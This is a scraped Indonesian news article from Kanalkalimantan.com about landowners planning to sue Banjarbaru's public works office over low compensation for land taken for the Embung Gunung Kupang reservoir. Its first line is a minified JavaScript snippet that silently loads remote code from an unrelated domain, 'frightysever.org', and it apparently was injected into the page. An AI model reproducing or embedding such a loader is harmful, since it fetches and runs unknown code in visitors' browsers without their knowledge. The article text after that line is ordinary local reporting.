(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARBARU – Rencana proyek embung Gunung Kupang mendapat gugatan pemilik tanah karena dianggap harga ganti rugi untuk pembebasan oleh Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Kota Banjarbaru sangat rendah.
Bentuk penolakan disampaikan Supiansyah Darham, kuasa hukum salah satu pemilik lahan yang menyebut harga ganti rugi lahan milik kliennya terlalu rendah. Bahkan penetapan harga yang disampaikan Dinas PUPR Banjarbaru berdasarkan hasil keputusan tim appraisal itu diklaim sangat tidak masuk akal, jika dibandingkan saat kliennya membeli tanah tersebut lima tahun silam.
Walhasil, Supiansyah Darham mewakili kliennya berencana akan melayangkan gugatan terhadap Dinas PUPR Banjarbaru dan mendaftarkannya di Pengadilan Negeri (PN) Banjarbaru. Terlebih ia juga menyatakan tidak bersedia menunggu waktu selama 14 hari yang ditawarkan Dinas PUPR Banjarbaru untuk kembali mempertimbangkan harga yang ditawarkan.
Kepala Dinas PUPR Banjarbaru Eka Yuliesda melalui Kepala Bidang Sumber Daya Air, Subrianto buka suara menanggapi persoalan itu. Menurut Subrianto, gugatan yang dilayangkan oleh pemilik tanah sangat diperbolehkan dan memang merupakan prosedur yang telah diatur dalam Peraturan Pemerintah (PP) RI Nomor 19 tahun 2021 tentang Penyelenggaraan Pengadaan Tanah Bagi Pembangunan Untuk Kepentingan Umum.
Baca juga : Pemko Banjarbaru Serap Aspirasi Masyarakat Lewat Dialog Akhir Tahun
“Silahkan saja diajukan karena memang seperti itu prosedurnya. Sudah diatur di pasal 75 ayat 1 yang berbunyi, dalam hal tidak terjadi kesepakatan mengenai bentuk besarnya ganti kerugian dapat mengajukan keberatan kepada pengadilan negeri,” ucap Subrianto, Kamis (15/12/2022) siang.
Dijelaskan Subrianto, pihaknya telah melalukan sosialisasi sebelumnya kepada pemilik lahan maupun warga sekitar. Ia menceritakan proyek pembangunan Embung Cempaka dicanangkan sebagai upaya mitigasi dalam menangkal potensi bencana banjir di Kecamatan Cempaka.
Penunjukan lokasi lahan yang akan dibangun embung merupakan rekomendasi konsultan berdasarkan kajian genangan banjir di wilayah Cempaka. Lokasi pembangunan embung yang ideal dipilih dengan luasan lahan mencapai 3,6 hektare.
“Selanjutnya pada 27 Mei 2022, kami bersama Lurah setempat mengadakan sosialisasi rencana pengadaan tanah yang pertama untuk embung dengan pemilik lahan. Disitu kami mengidentifikasi ada 5 pemilik lahan dengan luasan masing-masing bidang tanah mereka,” ceritanya.
Baca juga : Pos Polisi Simpang 4 Diaktifkan, Antisipasi Ricuh Balap Liar di Bundaran Banjarbaru
Selanjutnya pada 10 Agustus 2022 dilakukan kegiatan sosialisasi rencana pengadaan tanah yang kedua dengan pemilik lahan, serta pada 11 Agustus 2022 melakukan Pertemuan Konsultasi Masyarakat (PKM) kepada warga sekitar rencana pembangunan embung tersebut. Kemudian pada 13 Oktober 2022 lahan tersebut resmi ditetapkan sebagai lokasi pembangunan Embung Gunung Kupang.
Tepatnya pada Selasa (13/12/2022) kemarin, diselenggarakan Musyawarah Penetapan Bentuk Ganti Kerugian, dengan menghadirkan lima orang pemilik lahan. Dalam kegiatan itu, Dinas PUPR Banjarbaru menyampaikan hasil pengukuran lahan dengan totalnya mencapai 2,8 hektare.
Setelah itu Dinas PUPR melanjutkan dengan penyampaian hasil penilaian tim appraisal terkait besaran nilai ganti rugi masing-masing lahan. Sayangnya saat diminta persetujuan para pemilik lahan lewat penandatangan berita acara, hanya satu warga saja yang menyetujui.
“Dari kelima pemilik lahan hanya satu yang menyatakan setuju, tiga lainnya tidak setuju atau masih mempertimbangkan. Sedangkan satunya lagi memilih walk out dari kegiatan musyarawarah kemarin,” terang Subrianto.
Baca juga : Damkar Tanbu Demo Penanganan Bencana Kebakaran
Dinas PUPR Banjarbaru sendiri siap menyambut gugatan pemilik lahan. Keyakinan bahwa proses pembebasan lahan ini telah dilakukan sesuai prosedur dan nilai ganti rugi yang ditetapkan tim appraisal berdasarkan PP RI Nomor 19 Tahun 2021 pasal 69 ayat 3 berbunyi bahwa besarnya nilai ganti rugi kerugian berdasarkan hasil penilaian penilai (Tim Appraisal) bersifat final dan mengikat.
Diakui Subrianto, dengan adanya rencana gugatan pemilik lahan memang akan berdampak pada tertundanya proyek pembangunan Embung Gunung Kupang. Meskipun pembangunan fisik embung memang sedari awal telah diagendakan pada 2023 mendatang.
“Pada intinya kami siap. Kembali seperti yang kami sampaikan, nilai ganti rugi itu tim appraisal yang menilainya dengan metode penilaian sesuai ilmu mereka. Jika ada yang keberatan, memang diajukan ke pengadilan. Memang seperti ini prosedurnya,” tuntasnya. (Kanalkalimantan.com/al)
Reporter : al
Editor : kk
KANALKALIMANTAN.COM, BANJARMASIN - Logistik surat suara Pemilihan Kepala Daerah (Pilkada) 2024 di Kota Banjarmasin mulai… Read More
KANALKALIMANTAN.COM, AMUNTAI - Pengembangan kapasitas pengrajin anyaman purun dan alat penunjang produksi kerajinan, bantuan dana… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dua hari jelang pemungutan suara Pilkada 2024, Komisi Pemilihan Umum (KPU) Kota… Read More
KANALKALIMANTAN.COM, BANJARBARU - Melihat dan menyikapi penyelenggaraan Pilkada (Pemilihan Kepala Daerah) Kota Banjarbaru, pasca terbit… Read More
KANALKALIMANTAN.COM, BANJARBARU - Warga Kota Banjarbaru masih dibuat bingung terkait teknis pemungutan suara pada Pilkada… Read More
KANALKALIMANTAN.COM, BAKU - Pemerintah Indonesia melalui Utusan Khusus Presiden Republik Indonesia Hashim Djojohadikusumo berhasil memikat… Read More
This website uses cookies.